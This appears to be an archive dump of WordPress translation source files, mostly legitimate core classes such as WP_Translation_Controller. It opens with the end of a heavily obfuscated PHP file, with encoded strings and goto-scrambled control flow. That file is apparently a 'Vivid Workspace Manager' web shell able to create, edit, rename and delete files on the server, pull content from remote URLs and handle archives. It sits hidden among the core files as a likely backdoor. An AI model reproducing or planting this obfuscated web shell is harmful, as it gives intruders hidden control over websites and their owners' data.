x6e\72\x20\x73\164\x69\143\x6b\x79\x3b\x20\164\157\160\72\40\x30\x3b\40\142\x61\x63\153\147\162\x6f\165\x6e\144\x3a\x20\43\x66\x33\x66\x34\x66\x36\x3b\40\172\55\x69\156\x64\x65\170\x3a\40\x31\x30\73\x20\x7d\xd\xa\40\40\x20\x20\x3c\57\x73\164\171\x6c\x65\76\15\xa\x3c\x2f\x68\145\x61\x64\76\15\xa\x3c\x62\157\144\x79\x20\x63\x6c\x61\x73\x73\x3d\x22\x62\147\55\x76\151\x76\x69\x64\55\163\x6c\x61\164\145\x20\155\151\x6e\x2d\150\55\x73\x63\162\145\145\156\42\76\xd\12\40\x20\40\x20\74\144\x69\166\40\x63\154\x61\163\163\75\42\143\157\156\164\141\151\x6e\x65\x72\x20\155\170\55\141\165\164\x6f\x20\160\55\x36\x22\x3e\xd\xa\40\x20\40\40\x20\x20\40\x20\74\150\x31\x20\143\154\141\x73\163\x3d\x22\164\x65\170\164\x2d\x34\170\154\x20\146\157\156\164\55\x62\157\x6c\x64\40\155\142\x2d\x38\x20\x74\x65\170\164\55\x76\x69\x76\151\x64\x2d\x63\x68\x61\x72\143\157\141\154\42\x3e\126\151\166\151\144\40\127\157\x72\153\x73\x70\141\x63\x65\40\115\141\x6e\141\x67\x65\x72\74\57\x68\61\76\xd\12\xd\12\x20\x20\x20\x20\x20\40\x20\x20\74\x21\55\55\x20\x50\x61\x74\x68\x20\x43\x72\165\x6d\x62\x73\x20\x2d\x2d\x3e\15\12\40\40\40\x20\x20\40\40\x20\x3c\156\x61\166\40\x63\154\x61\x73\163\x3d\42\x6d\x62\x2d\66\40\x74\145\170\164\x2d\x6c\x67\40\x66\x6c\x65\170\x20\151\164\145\155\163\55\x63\145\x6e\x74\x65\x72\x22\x3e"; goto pT5Cn; mGJZ_: echo htmlspecialchars($DKH4N); goto OEbq_; xNlQn: KXaXc: goto fP2_W; Bdm1a: $Vjqae = strtolower(pathinfo($XSEgQ, PATHINFO_EXTENSION)); goto yH4Cb; OPJ29: $DKH4N = "\106\141\x69\154\145\x64\x20\164\x6f\x20\x63\x72\145\141\x74\145\40\146\151\x6c\145\x2e"; goto GpF7q; FZOWP: goto wU4e6; goto R7O4_; rAymK: goto QuW09; goto P9s45; MYnzS: if (!($_SERVER["\x52\x45\121\x55\105\123\124\x5f\x4d\105\x54\x48\117\104"] === "\x50\117\x53\x54" && isset($_POST["\143\163\x72\x66\x5f\x74\157\153\145\x6e"]) && $_POST["\143\x73\162\x66\x5f\164\157\x6b\x65\156"] === $_SESSION["\143\x73\x72\146\x5f\x74\157\153\x65\156"])) { goto T0tH9; } goto X174h; AeSrz: $AUqcU = @file_get_contents($MhPPM); goto H5acy; efl0n: echo "\42\x3e\xd\12\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\40\74\x69\156\x70\165\164\x20\x74\x79\160\145\75\42\150\x69\x64\x64\145\x6e\42\x20\151\144\75\x22\x65\144\151\x74\x49\x74\x65\x6d\116\141\155\x65\42\40\x6e\141\x6d\x65\75\42\x69\164\145\x6d\137\x6e\x61\x6d\x65\x22\76\15\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x3c\164\145\x78\x74\x61\162\x65\141\x20\151\x64\x3d\x22\145\x64\151\164\111\x74\145\x6d\103\157\156\x74\x65\x6e\x74\42\40\x6e\x61\155\145\75\x22\x69\x74\145\155\x5f\143\x6f\156\x74\x65\x6e\x74\42\40\x63\154\x61\163\163\x3d\x22\x77\55\x66\x75\x6c\154\x20\x68\x2d\70\x30\40\x70\x2d\x33\x20\x62\157\162\144\145\x72\x20\x72\x6f\x75\x6e\x64\x65\144\x2d\x6c\147\x20\x6d\x62\x2d\x36\x20\146\157\x63\x75\x73\x3a\x6f\165\x74\154\151\156\145\55\x6e\x6f\x6e\x65\40\146\157\x63\x75\x73\x3a\x72\151\156\x67\x2d\62\x20\x66\157\143\165\163\72\162\x69\x6e\147\x2d\x76\x69\x76\151\144\x2d\x74\145\141\x6c\42\76\x3c\x2f\x74\x65\170\164\141\x72\145\141\x3e\xd\xa\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x3c\144\x69\166\40\143\x6c\x61\163\x73\75\42\146\x6c\x65\170\40\152\x75\163\x74\151\146\x79\x2d\145\156\x64\x20\x73\x70\141\143\145\55\x78\55\63\42\x3e\15\12\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\40\x3c\x62\165\x74\164\157\x6e\40\164\x79\160\x65\x3d\42\163\165\x62\x6d\x69\x74\x22\40\x6e\x61\155\145\75\x22\155\x6f\x64\x69\146\x79\x5f\x66\151\x6c\x65\42\x20\143\154\141\163\x73\x3d\42\x62\x67\55\x67\x72\145\x65\x6e\x2d\65\x30\60\40\164\145\x78\164\x2d\167\150\151\x74\145\x20\160\x78\55\65\x20\160\171\x2d\62\x20\x72\157\x75\156\x64\x65\144\x2d\x6c\147\x20\150\x6f\x76\145\162\72\142\x67\55\147\x72\x65\x65\x6e\55\x36\60\60\x20\x76\x69\x76\151\144\55\x74\162\x61\x6e\x73\151\x74\151\x6f\x6e\42\x3e\123\141\166\x65\x3c\57\x62\165\x74\x74\x6f\x6e\76\xd\12\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\40\x3c\142\165\164\164\157\156\40\x74\171\160\145\x3d\x22\x62\x75\164\x74\x6f\156\x22\x20\x6f\156\143\154\151\x63\x6b\75\42\x63\154\x6f\163\x65\x44\x69\x61\x6c\157\147\x28\47\x65\144\x69\x74\104\x69\x61\x6c\x6f\147\x27\51\x22\40\143\x6c\141\x73\x73\x3d\x22\x62\x67\55\x67\162\141\171\x2d\x35\x30\x30\40\x74\145\x78\164\55\x77\x68\x69\x74\x65\40\160\170\x2d\65\40\x70\171\x2d\62\40\162\157\x75\156\x64\x65\x64\x2d\154\x67\x20\150\157\166\x65\x72\x3a\x62\x67\x2d\147\162\141\x79\x2d\66\60\60\x20\x76\x69\166\x69\144\x2d\164\x72\141\156\x73\x69\x74\x69\x6f\x6e\x22\76\103\x61\x6e\x63\x65\x6c\74\x2f\x62\165\164\x74\x6f\x6e\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x3c\57\144\151\x76\76\15\xa\40\x20\x20\40\40\40\40\40\40\x20\x20\40\74\x2f\x66\157\x72\155\76\xd\12\x20\x20\40\40\x20\x20\x20\40\74\57\x64\x69\166\76\xd\xa\x20\x20\40\40\x3c\x2f\144\x69\x76\76\xd\12\xd\xa\40\40\x20\x20\x3c\x21\x2d\55\x20\x52\x65\x6e\x61\x6d\x65\x20\x44\151\141\154\157\147\40\55\x2d\x3e\xd\12\x20\40\40\x20\74\x64\x69\166\40\x69\x64\75\x22\x72\x65\x6e\141\155\145\104\151\x61\154\x6f\147\x22\40\x63\154\141\163\163\x3d\x22\x66\151\170\145\144\40\x69\156\x73\145\164\55\x30\40\142\x67\55\147\x72\141\171\55\x36\x30\x30\x20\x62\147\x2d\157\160\x61\143\151\x74\171\55\x35\60\x20\x68\x69\x64\144\145\156\40\x69\164\x65\155\x73\x2d\143\145\156\x74\x65\162\40\152\x75\x73\164\151\x66\x79\55\143\x65\x6e\164\x65\x72\40\x76\151\166\151\144\x2d\164\x72\x61\x6e\x73\x69\164\x69\157\x6e\42\x3e\15\xa\x20\40\40\x20\40\x20\40\40\74\x64\151\166\40\143\x6c\x61\x73\x73\75\42\142\x67\x2d\167\150\151\164\145\x20\160\x2d\x38\x20\x72\157\x75\156\x64\x65\144\55\170\154\40\x73\x68\x61\x64\x6f\x77\55\x78\154\40\167\55\x66\165\x6c\154\x20\x6d\x61\x78\55\167\55\155\144\40\x74\x72\x61\156\x73\146\x6f\162\x6d\x20\x73\x63\141\154\145\55\71\x35\40\166\151\x76\151\144\55\x74\x72\x61\x6e\163\151\x74\x69\157\156\42\x3e\xd\xa\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\74\x68\62\x20\143\154\141\x73\163\x3d\x22\164\145\x78\164\x2d\62\x78\154\x20\x66\157\x6e\x74\55\142\157\154\144\x20\155\x62\x2d\x36\x20\164\145\x78\164\55\166\151\166\x69\144\55\x63\x68\141\x72\x63\157\141\x6c\42\x3e\x52\145\x6e\141\155\145\40\x49\x74\145\155\x3c\57\x68\62\76\15\12\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\x3c\x66\157\162\155\x20\151\x64\x3d\x22\x72\x65\156\141\x6d\x65\x46\x6f\162\155\x22\40\155\x65\x74\x68\157\x64\x3d\x22\160\x6f\163\164\x22\76\15\12\40\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\x3c\151\x6e\x70\165\x74\x20\x74\x79\160\x65\x3d\x22\x68\x69\x64\144\x65\x6e\42\x20\x6e\141\155\x65\75\42\x63\163\162\146\137\x74\157\x6b\145\156\42\40\x76\x61\154\165\x65\x3d\x22"; goto qhhxa; LRz_K: $DKH4N = "\111\156\x76\x61\x6c\x69\x64\40\x72\x65\155\157\164\x65\x20\x55\122\x4c\56"; goto SRHNn; F7tPf: if (!$aBnyl) { goto bPia2; } goto o7tkz; TuFpl: $DKH4N = "\101\162\143\150\151\x76\145\x20\x6e\157\x74\x20\146\157\165\x6e\x64\x20\157\x72\40\x5a\151\160\101\162\143\x68\151\x76\145\40\x6e\157\164\x20\141\166\141\x69\154\141\x62\154\145\x2e"; goto UdP8y; Kv3l1: if (unlink($xAY2y)) { goto PqdoF; } goto vNZlm; nxE40: T0tH9: goto lT00_; f8J_i: if (!file_exists($mROC6)) { goto dfEiu; } goto iPIq9; j5f23: $k0Bn2 = 10 * 1024 * 1024; goto CDKG1; o7tkz: if (!(!isset($_SESSION["\163\145\143\165\x72\145\137\163\x65\163\163\151\x6f\156"]) || $_SESSION["\x73\145\143\x75\162\x65\137\x73\145\x73\x73\151\157\x6e"] !== true)) { goto we6Y3; } goto KCWei; KsqrH: hViYW: goto qM33z; N3l0l: $_SESSION["\x73\x65\143\x75\x72\x65\137\x73\145\x73\x73\151\x6f\x6e"] = true; goto JENU1; I43Nl: if (!$st1pL) { goto OId96; } goto atiNZ; v4fkp: $N1y8k = $UyGf4 . "\57" . $Nu004; goto grGj9; K2rz_: echo "\42\x3e\xd\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\74\151\x6e\x70\165\x74\x20\x74\x79\160\x65\75\42\150\151\x64\144\x65\156\42\x20\x6e\141\x6d\x65\75\42\x69\x74\x65\x6d\x5f\x6e\x61\x6d\145\42\x20\166\141\154\165\x65\x3d\42\44\173\151\164\x65\155\116\x61\x6d\145\x7d\x22\76\xd\xa\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\74\x69\156\x70\165\x74\x20\x74\x79\x70\145\x3d\42\150\x69\x64\144\145\x6e\x22\40\156\141\155\145\x3d\x22\x64\145\x6c\x65\164\145\137\151\164\145\155\x22\x20\x76\141\x6c\x75\145\75\42\61\x22\76\xd\12\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\x60\73\xd\xa\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x64\x6f\143\165\155\145\156\164\x2e\142\157\144\171\56\141\x70\160\145\x6e\x64\103\150\x69\154\x64\x28\146\157\x72\x6d\51\73\15\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\146\x6f\x72\155\x2e\x73\165\x62\155\x69\x74\50\51\73\xd\12\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x7d\xd\12\40\40\x20\40\x20\40\x20\x20\x7d\xd\12\15\12\x20\40\40\x20\40\x20\40\40\146\165\x6e\x63\x74\151\x6f\156\x20\x6f\x70\x65\x6e\x44\151\141\154\157\x67\50\144\151\x61\x6c\157\147\111\x64\x29\x20\x7b\15\12\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x63\157\156\x73\164\40\144\x69\141\154\x6f\x67\x20\x3d\40\x64\x6f\143\165\x6d\x65\x6e\164\56\x67\145\164\105\154\145\155\x65\156\164\x42\171\x49\144\x28\x64\x69\141\154\157\x67\111\x64\x29\x3b\xd\12\40\x20\40\40\40\40\x20\40\40\40\x20\40\x64\x69\x61\154\x6f\147\x2e\x63\154\x61\x73\x73\114\151\163\x74\x2e\162\x65\x6d\157\166\145\x28\47\150\x69\x64\144\x65\x6e\x27\x29\73\xd\12\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\144\x69\141\154\157\147\56\143\154\x61\163\163\114\151\x73\x74\x2e\x61\x64\x64\50\47\146\x6c\145\170\47\x29\x3b\15\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\163\145\164\124\x69\155\x65\157\x75\x74\x28\x28\51\x20\75\76\x20\x7b\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x64\x69\141\154\x6f\x67\x2e\161\x75\145\x72\x79\x53\x65\x6c\x65\x63\164\x6f\x72\x28\x27\56\x74\162\141\156\163\146\x6f\162\155\47\51\56\x63\154\x61\163\163\x4c\x69\x73\164\56\162\x65\x6d\x6f\166\145\50\x27\x73\x63\141\154\x65\x2d\71\65\47\51\x3b\xd\xa\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x7d\x2c\40\x31\60\x29\x3b\xd\12\40\x20\x20\x20\x20\x20\x20\40\x7d\15\12\15\12\x20\40\40\x20\40\x20\40\40\x66\x75\x6e\x63\164\x69\157\x6e\x20\143\x6c\x6f\163\145\x44\x69\141\154\157\147\x28\x64\151\141\154\x6f\147\x49\x64\51\x20\173\15\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\x63\x6f\x6e\x73\x74\40\144\151\141\154\x6f\x67\x20\x3d\40\144\157\x63\165\x6d\145\156\164\56\147\x65\164\x45\154\x65\155\x65\x6e\164\x42\x79\x49\x64\x28\144\151\141\x6c\x6f\x67\x49\144\x29\73\15\12\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\144\x69\141\x6c\x6f\x67\56\x71\x75\x65\162\x79\123\145\x6c\145\x63\x74\157\162\50\47\x2e\x74\x72\x61\x6e\163\146\157\162\x6d\47\51\56\143\x6c\x61\163\163\x4c\x69\x73\164\56\141\x64\x64\50\47\163\x63\141\x6c\x65\x2d\x39\x35\47\51\73\15\12\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x73\145\164\124\x69\x6d\x65\157\165\x74\50\x28\51\x20\75\76\x20\x7b\xd\12\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\144\x69\x61\154\x6f\x67\x2e\x63\154\141\163\x73\114\x69\163\x74\x2e\141\144\144\x28\x27\150\151\x64\144\145\x6e\47\x29\x3b\xd\xa\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\x64\x69\x61\x6c\157\147\x2e\x63\x6c\141\x73\x73\x4c\x69\163\164\56\162\x65\155\x6f\166\145\x28\47\x66\x6c\x65\170\47\51\x3b\xd\xa\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\175\54\x20\x33\60\x30\51\x3b\15\12\x20\x20\x20\40\x20\40\40\40\175\15\12\15\xa\x20\x20\x20\40\40\40\x20\x20\x2f\57\40\103\x6c\151\145\156\164\55\x73\x69\144\145\x20\x66\157\162\x6d\40\x76\141\x6c\151\144\x61\164\151\x6f\x6e\15\12\x20\x20\x20\x20\x20\x20\40\40\x64\157\143\x75\x6d\x65\x6e\x74\56\x71\x75\x65\162\x79\x53\x65\x6c\145\x63\x74\x6f\x72\101\x6c\154\50\x27\x66\x6f\162\x6d\47\x29\x2e\146\157\x72\105\x61\143\x68\x28\146\157\x72\x6d\40\x3d\76\x20\x7b\15\xa\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\146\x6f\162\x6d\x2e\141\144\x64\x45\x76\x65\x6e\164\x4c\151\x73\x74\145\156\x65\x72\x28\x27\163\165\x62\155\151\x74\47\54\x20\50\145\x29\40\75\76\x20\173\15\12\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x63\x6f\x6e\163\164\x20\151\x6e\160\165\x74\163\x20\x3d\x20\146\157\x72\x6d\56\x71\165\145\162\x79\x53\x65\154\145\x63\164\157\x72\101\154\x6c\x28\47\x69\156\160\x75\164\x5b\162\145\161\x75\151\162\x65\144\x5d\54\x20\164\145\170\x74\141\x72\x65\141\133\162\x65\x71\x75\151\162\145\144\x5d\47\51\73\xd\xa\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\154\x65\164\x20\166\141\x6c\151\x64\x20\75\x20\164\x72\x75\x65\73\15\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\151\x6e\x70\x75\164\x73\56\x66\157\x72\x45\141\143\150\x28\x69\156\160\x75\x74\40\x3d\76\x20\x7b\15\12\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x69\x66\40\x28\x21\151\x6e\160\165\x74\x2e\x76\x61\x6c\165\x65\x2e\164\x72\x69\x6d\50\51\x29\x20\x7b\xd\12\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\166\141\154\151\144\40\x3d\40\x66\x61\x6c\x73\145\73\15\12\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\151\x6e\160\165\x74\x2e\143\x6c\x61\x73\x73\x4c\x69\163\x74\56\x61\144\x64\50\47\x62\x6f\x72\144\145\x72\55\x72\145\x64\x2d\x35\60\x30\47\51\x3b\xd\xa\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x7d\40\145\154\x73\x65\x20\173\xd\12\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x69\x6e\160\165\x74\56\143\x6c\x61\x73\163\x4c\x69\163\164\x2e\x72\x65\155\x6f\166\145\50\47\x62\x6f\x72\x64\x65\162\55\162\145\x64\55\x35\x30\x30\47\x29\x3b\15\xa\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\x7d\xd\xa\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\175\51\x3b\15\12\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x69\x66\40\x28\41\166\x61\154\151\144\51\40\x7b\15\xa\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\145\56\160\x72\x65\x76\x65\156\164\104\x65\146\141\165\154\164\50\51\73\15\xa\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\40\x20\x20\141\x6c\145\162\164\x28\47\x50\x6c\145\x61\x73\145\x20\146\151\x6c\x6c\x20\151\156\40\141\154\154\x20\162\x65\161\165\151\x72\145\144\40\x66\x69\145\154\144\163\x2e\47\x29\73\15\xa\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x7d\xd\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\175\x29\73\15\xa\x20\40\x20\40\40\40\40\x20\x7d\x29\73\xd\xa\40\40\40\x20\x3c\57\163\143\x72\x69\x70\x74\x3e\xd\xa\x3c\57\x62\157\x64\171\x3e\xd\xa\74\57\150\x74\155\x6c\76"; ?>class-wp-translation-controller.php000064400000031253150547657620013550 0ustar00 [ Textdomain => [ ..., ... ] ] ] * * @since 6.5.0 * @var array> */ protected $loaded_translations = array(); /** * List of loaded translation files. * * [ Filename => [ Locale => [ Textdomain => WP_Translation_File ] ] ] * * @since 6.5.0 * @var array>> */ protected $loaded_files = array(); /** * Container for the main instance of the class. * * @since 6.5.0 * @var WP_Translation_Controller|null */ private static $instance = null; /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 6.5.0 * * @return WP_Translation_Controller */ public static function get_instance(): WP_Translation_Controller { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * Returns the current locale. * * @since 6.5.0 * * @return string Locale. */ public function get_locale(): string { return $this->current_locale; } /** * Sets the current locale. * * @since 6.5.0 * * @param string $locale Locale. */ public function set_locale( string $locale ) { $this->current_locale = $locale; } /** * Loads a translation file for a given text domain. * * @since 6.5.0 * * @param string $translation_file Translation file. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return bool True on success, false otherwise. */ public function load_file( string $translation_file, string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } $translation_file = realpath( $translation_file ); if ( false === $translation_file ) { return false; } if ( isset( $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] ) && false !== $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] ) { return null === $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ]->error(); } if ( isset( $this->loaded_files[ $translation_file ][ $locale ] ) && array() !== $this->loaded_files[ $translation_file ][ $locale ] ) { $moe = reset( $this->loaded_files[ $translation_file ][ $locale ] ); } else { $moe = WP_Translation_File::create( $translation_file ); if ( false === $moe || null !== $moe->error() ) { $moe = false; } } $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] = $moe; if ( ! $moe instanceof WP_Translation_File ) { return false; } if ( ! isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { $this->loaded_translations[ $locale ][ $textdomain ] = array(); } $this->loaded_translations[ $locale ][ $textdomain ][] = $moe; return true; } /** * Unloads a translation file for a given text domain. * * @since 6.5.0 * * @param WP_Translation_File|string $file Translation file instance or file name. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Defaults to all locales. * @return bool True on success, false otherwise. */ public function unload_file( $file, string $textdomain = 'default', ?string $locale = null ): bool { if ( is_string( $file ) ) { $file = realpath( $file ); } if ( null !== $locale ) { if ( isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { foreach ( $this->loaded_translations[ $locale ][ $textdomain ] as $i => $moe ) { if ( $file === $moe || $file === $moe->get_file() ) { unset( $this->loaded_translations[ $locale ][ $textdomain ][ $i ] ); unset( $this->loaded_files[ $moe->get_file() ][ $locale ][ $textdomain ] ); return true; } } } return true; } foreach ( $this->loaded_translations as $l => $domains ) { if ( ! isset( $domains[ $textdomain ] ) ) { continue; } foreach ( $domains[ $textdomain ] as $i => $moe ) { if ( $file === $moe || $file === $moe->get_file() ) { unset( $this->loaded_translations[ $l ][ $textdomain ][ $i ] ); unset( $this->loaded_files[ $moe->get_file() ][ $l ][ $textdomain ] ); return true; } } } return false; } /** * Unloads all translation files for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Defaults to all locales. * @return bool True on success, false otherwise. */ public function unload_textdomain( string $textdomain = 'default', ?string $locale = null ): bool { $unloaded = false; if ( null !== $locale ) { if ( isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { $unloaded = true; foreach ( $this->loaded_translations[ $locale ][ $textdomain ] as $moe ) { unset( $this->loaded_files[ $moe->get_file() ][ $locale ][ $textdomain ] ); } } unset( $this->loaded_translations[ $locale ][ $textdomain ] ); return $unloaded; } foreach ( $this->loaded_translations as $l => $domains ) { if ( ! isset( $domains[ $textdomain ] ) ) { continue; } $unloaded = true; foreach ( $domains[ $textdomain ] as $moe ) { unset( $this->loaded_files[ $moe->get_file() ][ $l ][ $textdomain ] ); } unset( $this->loaded_translations[ $l ][ $textdomain ] ); } return $unloaded; } /** * Determines whether translations are loaded for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return bool True if there are any loaded translations, false otherwise. */ public function is_textdomain_loaded( string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } return isset( $this->loaded_translations[ $locale ][ $textdomain ] ) && array() !== $this->loaded_translations[ $locale ][ $textdomain ]; } /** * Translates a singular string. * * @since 6.5.0 * * @param string $text Text to translate. * @param string $context Optional. Context for the string. Default empty string. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return string|false Translation on success, false otherwise. */ public function translate( string $text, string $context = '', string $textdomain = 'default', ?string $locale = null ) { if ( '' !== $context ) { $context .= "\4"; } $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { return false; } return $translation['entries'][0]; } /** * Translates plurals. * * Checks both singular+plural combinations as well as just singulars, * in case the translation file does not store the plural. * * @since 6.5.0 * * @param array $plurals { * Pair of singular and plural translations. * * @type string $0 Singular translation. * @type string $1 Plural translation. * } * @param int $number Number of items. * @param string $context Optional. Context for the string. Default empty string. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string|null $locale Optional. Locale. Default current locale. * @return string|false Translation on success, false otherwise. */ public function translate_plural( array $plurals, int $number, string $context = '', string $textdomain = 'default', ?string $locale = null ) { if ( '' !== $context ) { $context .= "\4"; } $text = implode( "\0", $plurals ); $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { $text = $plurals[0]; $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { return false; } } /** @var WP_Translation_File $source */ $source = $translation['source']; $num = $source->get_plural_form( $number ); // See \Translations::translate_plural(). return $translation['entries'][ $num ] ?? $translation['entries'][0]; } /** * Returns all existing headers for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @return array Headers. */ public function get_headers( string $textdomain = 'default' ): array { if ( array() === $this->loaded_translations ) { return array(); } $headers = array(); foreach ( $this->get_files( $textdomain ) as $moe ) { foreach ( $moe->headers() as $header => $value ) { $headers[ $this->normalize_header( $header ) ] = $value; } } return $headers; } /** * Normalizes header names to be capitalized. * * @since 6.5.0 * * @param string $header Header name. * @return string Normalized header name. */ protected function normalize_header( string $header ): string { $parts = explode( '-', $header ); $parts = array_map( 'ucfirst', $parts ); return implode( '-', $parts ); } /** * Returns all entries for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @return array Entries. */ public function get_entries( string $textdomain = 'default' ): array { if ( array() === $this->loaded_translations ) { return array(); } $entries = array(); foreach ( $this->get_files( $textdomain ) as $moe ) { $entries = array_merge( $entries, $moe->entries() ); } return $entries; } /** * Locates translation for a given string and text domain. * * @since 6.5.0 * * @param string $singular Singular translation. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return array{source: WP_Translation_File, entries: string[]}|false { * Translations on success, false otherwise. * * @type WP_Translation_File $source Translation file instance. * @type string[] $entries Array of translation entries. * } */ protected function locate_translation( string $singular, string $textdomain = 'default', ?string $locale = null ) { if ( array() === $this->loaded_translations ) { return false; } // Find the translation in all loaded files for this text domain. foreach ( $this->get_files( $textdomain, $locale ) as $moe ) { $translation = $moe->translate( $singular ); if ( false !== $translation ) { return array( 'entries' => explode( "\0", $translation ), 'source' => $moe, ); } if ( null !== $moe->error() ) { // Unload this file, something is wrong. $this->unload_file( $moe, $textdomain, $locale ); } } // Nothing could be found. return false; } /** * Returns all translation files for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return WP_Translation_File[] List of translation files. */ protected function get_files( string $textdomain = 'default', ?string $locale = null ): array { if ( null === $locale ) { $locale = $this->current_locale; } return $this->loaded_translations[ $locale ][ $textdomain ] ?? array(); } /** * Returns a boolean to indicate whether a translation exists for a given string with optional text domain and locale. * * @since 6.7.0 * * @param string $singular Singular translation to check. * @param string $textdomain Optional. Text domain. Default 'default'. * @param ?string $locale Optional. Locale. Default current locale. * @return bool True if the translation exists, false otherwise. */ public function has_translation( string $singular, string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } return false !== $this->locate_translation( $singular, $textdomain, $locale ); } } class-wp-translation-file-php.php000064400000003425150547657620013071 0ustar00parsed = true; $result = include $this->file; if ( ! $result || ! is_array( $result ) ) { $this->error = 'Invalid data'; return; } if ( isset( $result['messages'] ) && is_array( $result['messages'] ) ) { foreach ( $result['messages'] as $original => $translation ) { $this->entries[ (string) $original ] = $translation; } unset( $result['messages'] ); } $this->headers = array_change_key_case( $result ); } /** * Exports translation contents as a string. * * @since 6.5.0 * * @return string Translation file contents. */ public function export(): string { $data = array_merge( $this->headers, array( 'messages' => $this->entries ) ); return 'var_export( $data ) . ';' . PHP_EOL; } /** * Outputs or returns a parsable string representation of a variable. * * Like {@see var_export()} but "minified", using short array syntax * and no newlines. * * @since 6.5.0 * * @param mixed $value The variable you want to export. * @return string The variable representation. */ private function var_export( $value ): string { if ( ! is_array( $value ) ) { return var_export( $value, true ); } $entries = array(); $is_list = array_is_list( $value ); foreach ( $value as $key => $val ) { $entries[] = $is_list ? $this->var_export( $val ) : var_export( $key, true ) . '=>' . $this->var_export( $val ); } return '[' . implode( ',', $entries ) . ']'; } } class-wp-translation-file.php000064400000014211150547657620012277 0ustar00 */ protected $headers = array(); /** * Whether file has been parsed. * * @since 6.5.0 * @var bool */ protected $parsed = false; /** * Error information. * * @since 6.5.0 * @var string|null Error message or null if no error. */ protected $error; /** * File name. * * @since 6.5.0 * @var string */ protected $file = ''; /** * Translation entries. * * @since 6.5.0 * @var array */ 